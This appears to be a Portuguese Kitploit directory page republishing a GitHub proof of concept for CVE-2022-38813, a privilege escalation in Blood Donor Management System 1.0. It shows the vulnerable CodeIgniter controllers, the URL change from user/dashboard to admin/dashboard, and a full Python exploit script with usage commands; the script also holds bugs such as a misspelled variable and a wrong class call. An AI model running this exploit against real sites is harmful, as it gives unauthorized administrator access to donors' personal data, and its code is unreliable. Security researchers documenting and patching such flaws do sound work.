Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-38813 — Vulnerabilidade Autenticada de Escalação Vertical de Privilégio no Sistema de Gerenciamento de Doadores de Sangue | Kitploit
Ferramentas/GitHubGitHub/rashidkhanpathan/cve-2022-38813
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticação
GitHubrashidkhanpathan/cve-2022-38813

CVE-2022-38813

Vulnerabilidade Autenticada de Escalação Vertical de Privilégio no Sistema de Gerenciamento de Doadores de Sangue

Ver Repositório
22há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-38813

Escalação de Privilégio Vertical via parâmetro de usuário no Blood Donor Management System Usando Codeigniter v 1.0

CVE-2022-38813

Descrição técnica:

O Blood Donor Management System 1.0 não restringe adequadamente o acesso a admin/dashboard.php, o que permite que atacantes acessem todos os dados dos usuários, excluam usuários, adicionem e gerenciem grupos sanguíneos e enviem relatórios.

Componentes afetados - Código Fonte

No código fonte a seguir, podemos ver que user/dashboard não restringe adequadamente os parâmetros do usuário, então o atacante pode alterar esse parâmetro para o parâmetro admin e obter acesso à conta de administrador.

Página Vulnerável - Dashboard.php no Usuário e Dashboard.php no Administrador

root@kitploit:~
  // Dashboard.php in User
class Dashboard extends CI_Controller
{
	//Validating login
	function __construct()
	{
		parent::__construct();
		if (!$this->session->userdata('uid'))
			redirect('user/login');
	}


	public function index()
	{
		$this->load->view('user/dashboard');
	}
}

Altere o parâmetro user para admin na URL, ou seja: localhost/blood/user/dashboard para localhost/blood/admin/dashboard
root@kitploit:~
  // Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Dashboard extends CI_Controller
{

	public function index()
	{
		$this->load->model('admin/Dashboard_Model', 'adminn');
		$totalusercount = $this->adminn->totalusercount();
		$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
		$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
	}
}


Exploit

root@kitploit:~
import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)


class PrivilegeEscalation:
    color = "green"

    def __init__(self, username, password, payload):
        self.username = username
        self.password = password
        self.paylaod = payload

    def authentication(self):
        color = "green"
        cprint("[+] Authenticating User", color)
        cprint("[+] Username: " + args.username, color)
        cprint("[+] Password: " + args.password, color)
        cprint("[+] Payload: " + args.payload, color)

        login_url = "http://localhost/blood/user/login"

        data = {
            "email": args.username,
            "password": args.password
        }
        login_response = requests.post(login_url, data=data)

        cprint("[+] Exploiting...Started", color)
        if "/user/login" in login_response.url:
            cprint("[+] Credentials is not Valid", "red")
            sys.exit(1)
        else:
            cprint("[+] Authenticated Successfully as a Normal User ", color)
            cprint("[+] Normal User URL Endpoint " + login_response.url, color)

        url = args.payload
        if args.payload != "admin":
            cprint("[+] Please Add Valid Payload", "red")
            sys.exit(1)

        response = requests.get(f"http://localhost/blood/{url}/dashboard")
        cprint("[+] Exploit Compleated", color)
        cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
        cprint("[+] Copy the URL and Replace with user/dashboard URL with " +  esponse.url, color)
        cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("username", help="Please Add Username", type=str)
    parser.add_argument("password", help="Please Add Password", type=str)
    parser.add_argument("payload", help="Please Add Password", type=str)
    args = parser.parse_args()

    privilegeEscalation = PrivilegeEscalation
    privilegeEscalation.authentication((args.username, args.password, args.payload))

Uso do CVE-2022-38813.py -

root@kitploit:~
# Altera o parâmetro user vulnerável da URL para escalar privilégios de usuário normal para administrador -
python3 CVE-2022-38813.py <username> <password> <payload>

Exemplo -

root@kitploit:~
python CVE-2022-38813.py [email protected] Test@123 admin

Prova de conceito (PoC) do Exploit -

Screenshot 2022-10-23 194928

Referências -

Software Link: https://phpgurukul.com/blood-donor-management-system-using-codeigniter

Descoberto e Desenvolvido por -

RashidKhan Pathan (iHexCoder), 9 de Setembro de 2022. Twitter: @itRashid

Baixar ferramenta